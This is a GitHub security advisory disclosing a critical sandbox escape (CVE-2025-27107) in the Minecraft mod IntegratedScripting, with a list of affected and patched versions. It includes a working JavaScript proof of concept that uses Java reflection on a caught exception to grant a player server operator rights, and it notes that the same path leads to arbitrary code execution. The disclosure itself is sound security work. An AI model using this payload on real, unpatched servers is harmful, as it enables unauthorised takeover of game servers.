Skip to content

Arbitrary code execution via Java reflection in IntegratedScripting

Critical
rubensworks published GHSA-2v5x-4823-hq77 Mar 13, 2025

Package

IntegratedScripting (Minecraft)

Affected versions

<=1.21.1-1.0.16, <=1.21.4-1.0.9-244, <=1.20.1-1.0.11, <=1.19.2-1.0.9

Patched versions

>=1.21.1-1.0.17, >=1.21.4-1.0.9-254, >=1.20.1-1.0.13, >=1.19.2-1.0.10

Description

Summary

By using Java reflection on a thrown exception object it's possible to escape the JavaScript sandbox for IntegratedScripting's Variable Cards, and leverage that to construct arbitrary Java classes and invoke arbitrary Java methods. This allows for arbitrary code execution on the server by any Minecraft player.

Details

IntegratedScripting attempts to constrain the guest code via the implicit invariant of only exposing "ValueTranslator" classes from https://github.com/CyclopsMC/IntegratedScripting/blob/29051aace619604fb5dd60624b72dba428fea2f2/src/main/java/org/cyclops/integratedscripting/evaluate/translation/ValueTranslators.java, which limits the proxy objects to IntegratedDynamics operator methods. This invariant is broken via throwing and catching an exception, with the caught exception object a native Java object and not a ValueObjectProxyObject. The GraalJS context that IntegratedScripting creates uses

which is documented in https://www.graalvm.org/sdk/javadoc/org/graalvm/polyglot/HostAccess.html#ALL as highly discouraged for projects evaluated untrusted code: as a result, using the native Java exception object, you can do a "traditional" Java reflection chain in order to call arbitrary Java methods on arbitrary Java classes.

PoC

An example script payload that demonstrates this bug is as follows, which gives an arbitrary player1 the operator server role:

let once = true
function showItem(i) {
    if(!once){
        return true    
    }
    once = false
    try {
        // intentionally throw a type cast exception
        idContext.ops.listGet(i, 1)
    } catch(e) {
        // e is a native Java exception object, which we can call unrestricted methods on
        cls = e.getClass().getClass()
        console.log(cls) // class java.lang.Class
        meths = cls.getMethods()
        forName = meths.filter(x => x.getName()=="forName" && x.getParameterCount()==1)[0]
        console.log(forName) // public static java.lang.Class java.lang.Class.forName(java.lang.String) throws java.lang.ClassNotFoundException

        server_hooks = forName.invoke(null, "net.neoforged.neoforge.server.ServerLifecycleHooks")
        server = server_hooks.getMethod("getCurrentServer").invoke(null)
        console.log(server)
        player_list = server.getPlayerList()
        target = server.getProfileCache().get("chc4").get()
        player_list.op(target)
    }
    return true
}

Impact

This vulnerability allows for execution of arbitrary Java methods, and by extension arbitrary native code e.g. from java.lang.Runtime.exec, on the Minecraft server by any player with the ability to create and use an IntegratedScripting Variable Card.

Footnotes

  1. There are some corner cases with exploitation, where the Graal Java<->JavaScript translation triggers odd class loading errors on a dedicated server when attempting to access an instance of the ServerPlayer class, due to inheriting from Entity which uses Client-only classes depending on loaded context - but that is not a practical blocker for exploitation, and we can use a GameProfile here instead.

Severity

Critical

CVE ID

CVE-2025-27107

Weaknesses

No CWEs

Credits